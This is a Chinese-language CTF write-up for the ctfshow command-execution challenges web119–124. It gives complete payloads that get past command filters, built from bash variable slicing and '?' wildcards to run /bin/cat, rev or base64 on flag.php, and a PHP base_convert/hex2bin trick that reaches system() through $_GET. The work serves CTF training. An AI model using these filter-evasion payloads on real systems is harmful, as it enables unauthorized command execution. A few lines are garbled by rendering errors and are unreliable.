和118题类似,只不过是过滤了PATH
0可以用任何字符代替,比如 A , {A}, A,{0}
KaTeX parse error: Expected '}', got '#' at position 2: {#̲SHLVL}=1,或者{##},${#?}
{PHP_VERSION:~A}=2,php版本为x.x.2时
${#IFS}=3(linux下是3,mac里是4)
${#HOME}为5
${#RANDOM}一般是5,也可能是4
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,而 BASH_SUBSHELL 是记录一个 Bash 进程实例中多个子 Shell(subshell)嵌套深度的累加器
pwd:/tmp
echo ${PWD:0:1} #表示从0下标开始的第一个字符(从右往左开始取)
echo ${PWD:~0:1} #从结尾开始往前的第一个字符(从右往左开始取)
echo ${PWD:~0:2} #也只是取一个字符,因为是从右往左开始取的
echo ${PWD:~3:3} <=>echo ${PWD:0:3}
echo ${PWD:~0}
echo ${PWD:~A} #所以字母和0具有同样作用
pwd:/var/www/html
user:www-data
home:/www-data
payload:
${#HOSTNAME}=7,${HOSTNAME}=ctfshow
${HOME:${#HOSTNAME}:${#SHLVL}} => t
${PWD:${Z}:${#SHLVL}} 或${PWD:${#}:${#SHLVL}} => /
/bin/cat flag.php
构造的是/???/??t ????.??? =>/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
还可构造/???/?at ????.??? =>/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
还可构造/???/?a? ????.???
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
右键查看源代码即可得到flag
又过滤了~,SHLVL,还是限制了长度
在用/???/?a? ???.???发现构造不出来
/bin/rev即rev将文件内容读取并进行反转,就倒着输出文件内容
paylaod:
${#?}或${##}=1
${IFS}=3
/???/r?? ????.???
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
linux执行下条命令,反转为原来的
echo 'php?< ;"}be80abe44d20-c48b-e194-7c20-38ad93c1{wohsftc"=galf$ >?'|rev
又把#过滤了
通过 ? 来实现的, ?来实现的, ?来实现的,?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误,执行错误时可能为1,${RANDOM::1}可能为4,也可能为其他值
为了能够让$?可以输出1,那么就需要让前一条命令是错误的,这个错误命令的返回值是1,可以用
payload:
/???/?????4 ????.???=>/bin/base64
过滤了一些符号,并且使用的字母必须是数学函数的白名单里的字母,控制了长度不能大于80,可以通过$_GET[]传参来绕过过滤,[]可以用{}代替
base_convert #在任意进制之间转换数字。
hexdec #把十六进制转换为十进制。
dechex #把十进制转换为十六进制。
hex2bin #把十六进制的字符串转换为ASCII码
没有hex2bin需要使用base_convert构造出来
';
//把_GET转为16进制,在转为10进制
//直接16进制不行,因为会有字母
echo hexdec(bin2hex('_GET'));
echo '';
//下方是使用base_concvert对_GET转为10进制
//但是输出后发现是get,而不是_GET
//echo base_convert(21269,10,36);
echo '';
//把hex2bin的十进制进行输出查看是不是一致
echo base_convert(37907361743,10,36)
?>
10进制数表示
_GET:37907361743
hex2bin :1598506324
hex2bin(dechex(37907361743))>base_convert(1598506324,10,36)(dechex(37907361743))
$$pi{abs}($$pi{acos})&abs=>$_GET['abs']($_GET['aos'])
payload:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat flag.php
参考文章:
SHLVL
ctfshow命令执行web118-124
ctfshow 命令执行web118-124
web124